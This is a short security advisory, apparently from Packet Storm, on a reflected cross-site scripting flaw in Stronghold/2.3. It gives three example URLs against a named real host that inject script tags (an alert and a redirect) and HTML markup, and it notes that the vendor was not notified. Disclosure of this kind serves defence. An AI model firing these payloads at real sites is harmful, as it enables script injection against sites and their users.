Stronghold version 2.3 suffers from a cross site scripting vulnerability.
07d457659649755c85c5160ca2fa5f9b473e32ef4664273821bd5d9608459b80========================================================================================
!vuln
Stronghold/2.3 Apache/1.2.6 C2NetUS/2007
Previous versions may also be affected.
========================================================================================
========================================================================================
!risk
Low
There are currently only a few websites circulating with
Stronghold/2.3 enabled.
========================================================================================
========================================================================================
!notes
Stronghold/2.3 does not properly sanitize user input and echoes the page requested in
the URL as valid HTML and Javascript. This can cause XSS flaws.
========================================================================================
========================================================================================
!examples
Example 1: http://world.std.com/<script>alert("lol");</script>
Example 2: http://world.std.com/<script>window.location="http://www.google.com"</script>
Example 3: http://world.std.com/<body bgcolor="black"><font color="green">
========================================================================================
========================================================================================
!solution
Do not use Stronghold/2.3. The vendor has not been notified.
========================================================================================
============================================================
!greetz
Greetz go out to the people who know me.
============================================================
============================================================
!author
Xia Shing Zee
============================================================
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed